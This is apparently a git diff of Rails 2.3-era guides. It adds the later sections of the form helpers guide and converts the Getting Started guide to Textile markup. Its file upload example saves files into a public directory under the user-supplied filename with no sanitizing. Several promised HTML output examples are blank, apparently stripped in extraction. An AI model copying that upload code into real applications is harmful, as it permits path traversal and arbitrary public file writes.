+<%= password_field_tag(:password) %>
+<%= hidden_field_tag(:parent_id, "5") %>
+
+output:
+
+
+
+
+
+
+Hidden inputs are not shown to the user, but they hold data like any textual input. Values inside them can be changed with JavaScript.
+
+TIP: If you're using password input fields (for any purpose), you might want to prevent their values showing up in application logs by activating +filter_parameter_logging(:password)+ in your ApplicationController.
+
+
+h3. Dealing With Model Objects
+
+h4. Model object helpers
+
+A particularly common task for a form is editing or creating a model object. While the +*_tag+ helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the _tag suffix, for example +text_field+, +text_area+.
+
+For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined +@person+ and that person's name is Henry then a form containing:
+
+
+<%= text_field(:person, :name) %>
+
+
+will produce output similar to
+
+
+
+
+
+Upon form submission the value entered by the user will be stored in +params[:person][:name]+. The +params[:person]+ hash is suitable for passing to +Person.new+ or, if +@person+ is an instance of Person, +@person.update_attributes+. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a +name+ and a +name=+ method Rails will be happy.
+
+WARNING: You must pass the name of an instance variable, i.e. +:person+ or +"person"+, not an actual instance of your model object.
+
+Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the "Active Record Validations and Callbacks":./activerecord_validations_callbacks.html#_using_the_tt_errors_tt_collection_in_your_view_templates guide.
+
+h4. Binding a form to an object
+
+While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what +form_for+ does.
+
+Assume we have a controller for dealing with articles:
+
+articles_controller.rb:
+
+
+def new
+  @article = Article.new
+end
+
+
+The corresponding view using +form_for+ looks like this
+
+articles/new.html.erb:
+
+
+<% form_for :article, @article, :url => { :action => "create" }, :html => {:class => "nifty_form"} do |f| %>
+  <%= f.text_field :title %>
+  <%= f.text_area :body, :size => "60x12" %>
+  <%= submit_tag "Create" %>
+<% end %>
+
+
+There are a few things to note here:
+
+# +:article+ is the name of the model and +@article+ is the actual object being edited.
+# There is a single hash of options. Routing options are passed in the +:url+ hash, HTML options are passed in the +:html+ hash.
+# The +form_for+ method yields a *form builder* object (the +f+ variable).
+# Methods to create form controls are called *on* the form builder object +f+
+
+The resulting HTML is:
+
+
+
+  
+  
+  
+

+
+
+The name passed to +form_for+ controls the key used in +params+ to access the form's values. Here the name is +article+ and so all the inputs have names of the form +article[attribute_name]+. Accordingly, in the +create+ action +params[:article]+ will be a hash with keys +:title+ and +:body+. You can read more about the significance of input names in the parameter_names section.
+
+The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.
+
+You can create a similar binding without actually creating  +<form>+ tags with the +fields_for+ helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so:
+
+
+<% form_for :person, @person, :url => { :action => "create" } do |person_form| %>
+  <%= person_form.text_field :name %>
+  <% fields_for @person.contact_detail do |contact_details_form| %>
+    <%= contact_details_form.text_field :phone_number %>
+  <% end %>
+<% end %>
+
+
+which produces the following output:
+
+
+

+  
+  
+

+
+
+The object yielded by +fields_for+ is a form builder like the one yielded by +form_for+ (in fact +form_for+ calls +fields_for+ internally).
+
+h4. Relying on record identification
+
+The Article model is directly available to users of the application, so -- following the best practices for developing with Rails -- you should declare it *a resource*.
+
+When dealing with RESTful resources, calls to +form_for+ can get significantly easier if you rely on *record identification*. In short, you can just pass the model instance and have Rails figure out model name and the rest:
+
+
+## Creating a new article
+# long-style:
+form_for(:article, @article, :url => articles_path)
+# same thing, short-style (record identification gets used):
+form_for(@article)
+
+## Editing an existing article
+# long-style:
+form_for(:article, @article, :url => article_path(@article), :method => "put")
+# short-style:
+form_for(@article)
+
+
+Notice how the short-style +form_for+ invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking +record.new_record?+. It also selects the correct path to submit to and the name based on the class of the object.
+
+Rails will also automatically set the +class+ and +id+ of the form appropriately: a form creating an article would have +id+ and +class+ +new_article+. If you were editing the article with id 23, the +class+ would be set to +edit_article+ and the id to +edit_article_23+. These attributes will be omitted for brevity in the rest of this guide.
+
+WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, +:url+, and +:method+ explicitly.
+
+h5. Dealing with namespaces
+
+If you have created namespaced routes, +form_for+ has a nifty shorthand for that too. If your application has an admin namespace then
+
+
+form_for [:admin, @article]
+
+
+will create a form that submits to the articles controller inside the admin namespace (submitting to +admin_article_path(@article)+ in the case of an update). If you have several levels of namespacing then the syntax is similar:
+
+
+form_for [:admin, :management, @article]
+
+
+For more information on Rails' routing system and the associated conventions, please see the "routing guide":./routing_outside_in.html.
+
+
+h4. How do forms with PUT or DELETE methods work?
+
+The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). However, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms.
+
+Rails works around this issue by emulating other methods over POST with a hidden input named +"_method"+, which is set to reflect the desired method:
+
+
+form_tag(search_path, :method => "put")
+
+
+output:
+
+
+

+  

+    
+    
+  

+  ...
+
+
+When parsing POSTed data, Rails will take into account the special +_method+ parameter and acts as if the HTTP method was the one specified inside it ("PUT" in this example).
+
+
+h3. Making select boxes with ease
+
+Select boxes in HTML require a significant amount of markup (one +OPTION+ element for each option to choose from), therefore it makes the most sense for them to be dynamically generated.
+
+Here is what the markup might look like:
+
+
+
+
+
+Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options' value attribute. Let's see how Rails can help out here.
+
+h4. The select and options tag
+
+The most generic helper is +select_tag+, which -- as the name implies -- simply generates the +SELECT+ tag that encapsulates an options string:
+
+
+<%= select_tag(:city_id, '...') %>
+
+
+This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the +options_for_select+ helper:
+
+
+<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %>
+
+output:
+
+
+
+...
+
+
+The first argument to +options_for_select+ is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case.
+
+Knowing this, you can combine +select_tag+ and +options_for_select+ to achieve the desired, complete markup:
+
+
+<%= select_tag(:city_id, options_for_select(...)) %>
+
+
++options_for_select+ allows you to pre-select an option by passing its value.
+
+
+<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %>
+
+output:
+
+
+
+...
+
+
+Whenever Rails sees that the internal value of an option being generated matches this value, it will add the +selected+ attribute to that option.
+
+TIP: The second argument to +options_for_select+ must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to +options_for_select+ -- you must pass 2. Be aware of values extracted from the +params+ hash as they are all strings.
+
+h4. Select boxes for dealing with models
+
+In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the +_tag+ suffix from +select_tag+:
+
+
+# controller:
+@person = Person.new(:city_id => 2)
+
+
+
+# view:
+<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %>
+
+
+Notice that the third parameter, the options array, is the same kind of argument you pass to +options_for_select+. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one -- Rails will do this for you by reading from the +@person.city_id+ attribute.
+
+As with other helpers, if you were to use the +select+ helper on a form builder scoped to the +@person+ object, the syntax would be:
+
+
+# select on a form builder
+<%= f.select(:city_id, ...) %>
+
+
+WARNING: If you are using +select+ (or similar helpers such as +collection_select+, +select_tag+) to set a +belongs_to+ association you must pass the name of the foreign key (in the example above +city_id+), not the name of association itself.  If you specify +city+ instead of +city_id+ Active Record will raise an error along the lines of 
 ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) 
 when you pass the +params+ hash to +Person.new+ or +update_attributes+. Another way of looking at this is that form helpers only edit attributes.  You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. You may wish to consider the use of +attr_protected+ and +attr_accessible+. For further details on this, see the "Ruby On Rails Security Guide":security.html#_mass_assignment.
+
+h4. Option tags from a collection of arbitrary objects
+
+Generating options tags with +options_for_select+ requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:
+
+
+<% cities_array = City.all.map { |city| [city.name, city.id] } %>
+<%= options_for_select(cities_array) %>
+
+
+This is a perfectly valid solution, but Rails provides a less verbose alternative: +options_from_collection_for_select+. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option *value* and *text* from, respectively:
+
+
+<%= options_from_collection_for_select(City.all, :id, :name) %>
+
+
+As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with +select_tag+, just as you would with +options_for_select+. When working with model objects, just as +select+ combines +select_tag+ and +options_for_select+, +collection_select+ combines +select_tag+ with +options_from_collection_for_select+.
+
+
+<%= collection_select(:person, :city_id, City.all, :id, :name) %>
+
+
+To recap, +options_from_collection_for_select+ is to +collection_select+ what +options_for_select+ is to +select+.
+
+NOTE: Pairs passed to +options_for_select+ should have the name first and the id second, however with +options_from_collection_for_select+ the first argument is the value method and the second the text method.
+
+h4. Time zone and country select
+
+To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using +collection_select+, but you can simply use the +time_zone_select+ helper that already wraps this:
+
+
+<%= time_zone_select(:person, :time_zone) %>
+
+
+There is also +time_zone_options_for_select+ helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods.
+
+Rails _used_ to have a +country_select+ helper for choosing countries, but this has been extracted to the "country_select plugin":http://github.com/rails/country_select/tree/master. When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from rails).
+
+h3. Using Date and Time Form Helpers
+
+The date and time helpers differ from all the other form helpers in two important respects:
+
+# Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your +params+ hash with your date or time.
+# Other helpers use the +_tag+ suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, +select_date+, +select_time+ and +select_datetime+ are the barebones helpers, +date_select+, +time_select+ and +datetime_select+ are the equivalent model object helpers.
+
+Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.).
+
+h4. Barebones helpers
+
+The +select_*+ family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example
+
+
+<%= select_date Date.today, :prefix => :start_date %>
+
+
+outputs (with actual option values omitted for brevity)
+
+
+
+
+
+
+
+The above inputs would result in +params[:start_date]+ being a hash with keys +:year+, +:month+, +:day+. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example
+
+
+Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
+
+
+The +:prefix+ option is the key used to retrieve the hash of date components from the +params+ hash. Here it was set to +start_date+, if omitted it will default to +date+.
+
+h4. Model object helpers
+
++select_date+ does not work well with forms that update or create Active Record objects as Active Record expects each element of the +params+ hash to correspond to one attribute.
+The model object helpers for dates and times submit parameters with special names,  when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example:
+
+
+<%= date_select :person, :birth_date %>
+
+
+outputs (with actual option values omitted for brevity)
+
+
+
+
+
+
+
+which results in a +params+ hash like
+
+
+{:person => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
+
+
+When this is passed to +Person.new+ (or +update_attributes+), Active Record spots that these parameters should all be used to construct the +birth_date+ attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as +Date.civil+.
+
+h4. Common options
+
+Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the +:start_year+ and +:end_year+ options override this. For an exhaustive list of the available options, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html.
+
+As a rule of thumb you should be using +date_select+ when working with model objects and +select_date+ in other cases, such as a search form which filters results by date.
+
+NOTE: In many cases the built-in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week.
+
+h4. Individual components
+
+Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component +select_year+, +select_month+, +select_day+, +select_hour+, +select_minute+, +select_second+. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for +select_year+, "month" for +select_month+ etc.) although this can be overriden with the  +:field_name+ option. The +:prefix+ option works in the same way that it does for +select_date+ and +select_time+ and has the same default value.
+
+The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example
+
+
+<%= select_year(2009) %>
+<%= select_year(Time.now) %>
+
+
+will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by +params[:date][:year]+.
+
+h3. Uploading Files
+
+A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the form's encoding *MUST* be set to "multipart/form-data". If you forget to do this the file will not be uploaded. This can be done by passing +:multi_part => true+ as an HTML option. This means that in the case of +form_tag+ it must be passed in the second options hash and in the case of +form_for+ inside the +:html+ hash.
+
+The following two forms both upload a file.
+
+
+<% form_tag({:action => :upload}, :multipart => true) do %>
+  <%= file_field_tag 'picture' %>
+<% end %>
+
+<% form_for @person, :html => {:multipart => true} do |f| %>
+  <%= f.file_field :picture %>
+<% end %>
+
+
+Rails provides the usual pair of helpers: the barebones +file_field_tag+ and the model oriented +file_field+. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in +params[:picture]+ and in the second case in +params[:person][:picture]+.
+
+h4. What gets uploaded
+
+The object in the +params+ hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an +original_filename+ attribute containing the name the file had on the user's computer and a +content_type+ attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in +#{Rails.root}/public/uploads+ under the same name as the original file (assuming the form was the one in the previous example).
+
+
+def upload
+  uploaded_io = params[:person][:picture]
+  File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file|
+    file.write(uploaded_io.read)
+  end
+end
+
+
+Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several plugins designed to assist with these. Two of the better known ones are "Attachment-Fu":http://github.com/technoweenie/attachment_fu and "Paperclip":http://www.thoughtbot.com/projects/paperclip.
+
+NOTE: If the user has not selected a file the corresponding parameter will be an empty string.
+
+h4. Dealing with Ajax
+
+Unlike other forms making an asynchronous file upload form is not as simple as replacing +form_for+ with +remote_form_for+. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission.
+
+h3. Customising Form Builders
+
+As mentioned previously the object yielded by +form_for+ and +fields_for+ is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way you can also subclass FormBuilder and add the helpers there. For example
+
+
+<% form_for @person do |f| %>
+  <%= text_field_with_label f, :first_name %>
+<% end %>
+
+
+can be replaced with
+
+
+<% form_for @person, :builder => LabellingFormBuilder do |f| %>
+  <%= f.text_field :first_name %>
+<% end %>
+
+
+by defining a LabellingFormBuilder class similar to the following:
+
+
+class LabellingFormBuilder < FormBuilder
+  def text_field(attribute, options={})
+    label(attribute) + text_field(attribute, options)
+  end
+end
+
+
+If you reuse this frequently you could define a +labeled_form_for+ helper that automatically applies the +:builder => LabellingFormBuilder+ option.
+
+The form builder used also determines what happens when you do
+
+
+<%= render :partial => f %>
+
+
+If +f+ is an instance of FormBuilder then this will render the +form+ partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the +labelling_form+ partial would be rendered instead.
+
+h3. Understanding Parameter Naming Conventions
+
+As you've seen in the previous sections, values from forms can be at the top level of the +params+ hash or nested in another hash. For example in a standard +create+
+action for a Person model, +params[:model]+ would usually be a hash of all the attributes for the person to create. The +params+ hash can also contain arrays, arrays of hashes and so on.
+
+Fundamentally HTML forms don't know about any sort of structured data, all they generate is name–value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses.
+
+TIP: You may find you can try out examples in this section faster by using the console to directly invoke Rails' parameter parser. For example 
 ActionController::UrlEncodedPairParser.parse_query_parameters "name=fred&phone=0123456789" # => {"name"=>"fred", "phone"=>"0123456789"} 

+
+h4. Basic structures
+
+The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in +params+. For example if a form contains
+
+
+
+
+
+the +params+ hash will contain
+
+
+{'person' => {'name' => 'Henry'}}
+
+
+and +params["name"]+ will retrieve the submitted value in the controller.
+
+Hashes can be nested as many levels as required, for example
+
+
+
+
+
+will result in the +params+ hash being
+
+
+{'person' => {'address' => {'city' => 'New York'}}}
+
+
+Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, you could place this in the form:
+
+
+
+
+
+
+
+This would result in +params[:person][:phone_number]+ being an array.
+
+h4. Combining them
+
+We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment
+
+
+
+
+
+
+
+This would result in +params[:addresses]+ being an array of hashes with keys +line1+, +line2+ and +city+. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash.
+
+There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id, an array index or some other parameter.
+
+WARNING: Array parameters do not play well with the +check_box+ helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The +check_box+ helper fakes this by creating a second hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use +check_box_tag+ or to use hashes instead of arrays.
+
+h4. Using form helpers
+
+The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as +text_field_tag+ Rails also provides higher level support. The two tools at your disposal here are the name parameter to +form_for+ and +fields_for+ and the +:index+ option that helpers take.
+
+You might want to render a form with a set of edit fields for each of a person's addresses. For example:
+
+
+<% form_for @person do |person_form| %>
+  <%= person_form.text_field :name %>
+  <% for address in @person.addresses %>
+    <% person_form.fields_for address, :index => address do |address_form|%>
+      <%= address_form.text_field :city %>
+    <% end %>
+  <% end %>
+<% end %>
+
+
+Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this:
+
+
+
+  
+  
+  
+

+
+
+This will result in a +params+ hash that looks like
+
+
+{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}
+
+
+Rails knows that all these inputs should be part of the person hash because you called +fields_for+ on the first form builder. By specifying an +:index+ option you're telling rails that instead of naming the inputs +person[address][city]+ it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call +to_param+ on it, which by default returns the database id. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even +nil+ (which will result in an array parameter being created).
+
+To create more intricate nestings, you can specify the first part of the input name (+person[address]+ in the previous example) explicitly, for example
+
+
+<% fields_for 'person[address][primary]', address, :index => address do |address_form| %>
+  <%= address_form.text_field :city %>
+<% end %>
+
+
+will create inputs like
+
+
+
+
+
+As a general rule the final input name is the concatenation of the name given to +fields_for+/+form_for+, the index value and the name of the attribute. You can also pass an +:index+ option directly to helpers such as +text_field+, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls.
+
+As a shortcut you can append [] to the name and omit the +:index+ option. This is the same as specifing +:index => address+ so
+
+
+<% fields_for 'person[address][primary][]', address do |address_form| %>
+  <%= address_form.text_field :city %>
+<% end %>
+
+
+produces exactly the same output as the previous example.
+
+h3. Building Complex forms
+
+Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary. While this guide has shown you all the pieces necessary to handle this, Rails does not yet have a standard end-to-end way of accomplishing this, but many have come up with viable approaches. These include:
+
+* Ryan Bates' series of railscasts on "complex forms":http://railscasts.com/episodes/75
+* Handle Multiple Models in One Form from "Advanced Rails Recipes":http://media.pragprog.com/titles/fr_arr/multiple_models_one_form.pdf
+* Eloy Duran's "nested_params":http://github.com/alloy/complex-form-examples/tree/alloy-nested_params plugin
+* Lance Ivy's "nested_assignment":http://github.com/cainlevy/nested_assignment/tree/master plugin and "sample application":http://github.com/cainlevy/complex-form-examples/tree/cainlevy
+* James Golick's "attribute_fu":http://github.com/giraffesoft/attribute_fu/tree plugin
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/1
+
+h3. Authors
+
+* Mislav Marohnić 
+* "Frederick Cheung":credits.html#fcheung
diff --git a/vendor/rails/railties/doc/guides/source/getting_started_with_rails.txt b/vendor/rails/railties/guides/source/getting_started.textile
similarity index 68%
rename from vendor/rails/railties/doc/guides/source/getting_started_with_rails.txt
rename to vendor/rails/railties/guides/source/getting_started.textile
index 43322822..3d6c16f1 100644
--- a/vendor/rails/railties/doc/guides/source/getting_started_with_rails.txt
+++ b/vendor/rails/railties/guides/source/getting_started.textile
@@ -1,42 +1,43 @@
-Getting Started With Rails
-==========================
+h2. Getting Started With Rails
 
-This guide covers getting up and running with Ruby on Rails.  After reading it, you should be familiar with:
+This guide covers getting up and running with Ruby on Rails. After reading it, you should be familiar with:
 
 * Installing Rails, creating a new Rails application, and connecting your application to a database
 * The general layout of a Rails application
 * The basic principles of MVC (Model, View Controller) and RESTful design
 * How to quickly generate the starting pieces of a Rails application.
 
-NOTE: This Guide is based on Rails 2.3. Some of the code shown here will not work in older versions of Rails.
+endprologue.
 
-== This Guide Assumes
+WARNING. This Guide is based on Rails 2.3. Some of the code shown here will not work in older versions of Rails.
+
+h3. This Guide Assumes
 
 This guide is designed for beginners who want to get started with a Rails application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed:
 
-* The link:http://www.ruby-lang.org/en/downloads/[Ruby] language
-* The link:http://rubyforge.org/frs/?group_id=126[RubyGems] packaging system
-* A working installation of link:http://www.sqlite.org/[SQLite] (preferred), link:http://www.mysql.com/[MySQL], or link:http://www.postgresql.org/[PostgreSQL]
+* The "Ruby":http://www.ruby-lang.org/en/downloads language
+* The "RubyGems":http://rubyforge.org/frs/?group_id=126 packaging system
+* A working installation of "SQLite":http://www.sqlite.org (preferred), "MySQL":http://www.mysql.com, or "PostgreSQL":http://www.postgresql.org
 
-It is highly recommended that you *familiarize yourself with Ruby before diving into Rails*. You will find it much easier to follow what's going on with a Rails application if you understand basic Ruby syntax. Rails isn't going to magically revolutionize the way you write web applications if you have no experience with the language it uses. There are some good free resources on the internet for learning Ruby, including:
+It is highly recommended that you *familiarize yourself with Ruby before diving into Rails*. You will find it much easier to follow what’s going on with a Rails application if you understand basic Ruby syntax. Rails isn’t going to magically revolutionize the way you write web applications if you have no experience with the language it uses. There are some good free resources on the internet for learning Ruby, including:
 
-* link:http://www.humblelittlerubybook.com/[Mr. Neigborly’s Humble Little Ruby Book]
-* link:http://www.rubycentral.com/book/[Programming Ruby]
-* link:http://poignantguide.net/ruby/[Why's (Poignant) Guide to Ruby]
+* "Mr. Neighborly’s Humble Little Ruby Book":http://www.humblelittlerubybook.com
+* "Programming Ruby":http://www.rubycentral.com/book
+* "Why’s (Poignant) Guide to Ruby":http://poignantguide.net/ruby
 
-== What is Rails?
+h3. What is Rails?
 
 Rails is a web development framework written in the Ruby language. It is designed to make programming web applications easier by making several assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Longtime Rails developers also report that it makes web application development more fun.
 
-Rails is _opinionated software_. That is, it assumes that there is a best way to do things, and it's designed to encourage that best way - and in some cases to discourage alternatives. If you learn "The Rails Way" you'll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience.
+Rails is opinionated software. That is, it assumes that there is a best way to do things, and it’s designed to encourage that best way - and in some cases to discourage alternatives. If you learn "The Rails Way" you’ll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience.
 
 The Rails philosophy includes several guiding principles:
 
-* DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing.
-* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to do it, rather than letting you tweak every little thing through endless configuration files.
+* DRY - "Don’t Repeat Yourself" - suggests that writing the same code over and over again is a bad thing.
+* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you’re going to do it, rather than letting you tweak every little thing through endless configuration files.
 * REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs is the fastest way to go.
 
-=== The MVC Architecture
+h4. The MVC Architecture
 
 Rails is organized around the Model, View, Controller architecture, usually just called MVC. MVC benefits include:
 
@@ -44,19 +45,19 @@ Rails is organized around the Model, View, Controller architecture, usually just
 * Ease of keeping code DRY
 * Making it clear where different types of code belong for easier maintenance
 
-==== Models
+h5. Models
 
-A model represents the information (data) of the application and the rules to manipulate that data. In the case of Rails, models are primarily used for managing the rules of interaction with a corresponding database table. In most cases, one table in your database will correspond to one model in your application. The bulk of your application's business logic will be concentrated in the models.
+A model represents the information (data) of the application and the rules to manipulate that data. In the case of Rails, models are primarily used for managing the rules of interaction with a corresponding database table. In most cases, one table in your database will correspond to one model in your application. The bulk of your application’s business logic will be concentrated in the models.
 
-==== Views
+h5. Views
 
 Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that performs tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application.
 
-==== Controllers
+h5. Controllers
 
 Controllers provide the "glue" between models and views. In Rails, controllers are responsible for processing the incoming requests from the web browser, interrogating the models for data, and passing that data on to the views for presentation.
 
-=== The Components of Rails
+h4. The Components of Rails
 
 Rails provides a full stack of components for creating web applications, including:
 
@@ -68,124 +69,116 @@ Rails provides a full stack of components for creating web applications, includi
 * Railties
 * Active Support
 
-==== Action Controller
+h5. Action Controller
 
 Action Controller is the component that manages the controllers in a Rails application. The Action Controller framework processes incoming requests to a Rails application, extracts parameters, and dispatches them to the intended action. Services provided by Action Controller include session management, template rendering, and redirect management.
 
-==== Action View
+h5. Action View
 
 Action View manages the views of your Rails application. It can create both HTML and XML output by default. Action View manages rendering templates, including nested and partial templates, and includes built-in AJAX support.
 
-==== Active Record
+h5. Active Record
 
 Active Record is the base for the models in a Rails application. It provides database independence, basic CRUD functionality, advanced finding capabilities, and the ability to relate models to one another, among other services.
 
-==== Action Mailer
+h5. Action Mailer
 
 Action Mailer is a framework for building e-mail services. You can use Action Mailer to send emails based on flexible templates, or to receive and process incoming email.
 
-==== Active Resource
+h5. Active Resource
 
 Active Resource provides a framework for managing the connection between business objects an RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics.
 
-==== Railties
+h5. Railties
 
 Railties is the core Rails code that builds new Rails applications and glues the various frameworks together in any Rails application.
 
-==== Active Support
+h5. Active Support
 
-Active Support is an extensive collection of utility classes and standard Ruby library extensions that are used in the Rails, both by the core code and by your applications. 
+Active Support is an extensive collection of utility classes and standard Ruby library extensions that are used in the Rails, both by the core code and by your applications.
 
-=== REST
+h4. REST
 
-The foundation of the RESTful architecture is generally considered to be Roy Fielding's doctoral thesis, link:http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm[Architectural Styles and the Design of Network-based Software Architectures]. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:
+The foundation of the RESTful architecture is generally considered to be Roy Fielding’s doctoral thesis, "Architectural Styles and the Design of Network-based Software Architectures":http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:
 
 * Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources
-* Transferring representations of the state of that resource between system components. 
+* Transferring representations of the state of that resource between system components.
 
 For example, to a Rails application a request such as this:
 
-+DELETE /photos/17+
+DELETE /photos/17
 
 would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities and browser quirks.
 
 If you’d like more details on REST as an architectural style, these resources are more approachable than Fielding’s thesis:
 
-* link:http://www.infoq.com/articles/rest-introduction[A Brief Introduction to REST] by Stefan Tilkov
-* link:http://bitworking.org/news/373/An-Introduction-to-REST[An Introduction to REST] (video tutorial) by Joe Gregorio
-* link:http://en.wikipedia.org/wiki/Representational_State_Transfer[Representational State Transfer] article in Wikipedia
+* "A Brief Introduction to REST":http://www.infoq.com/articles/rest-introduction by Stefan Tilkov
+* "An Introduction to REST":http://bitworking.org/news/373/An-Introduction-to-REST (video tutorial) by Joe Gregorio
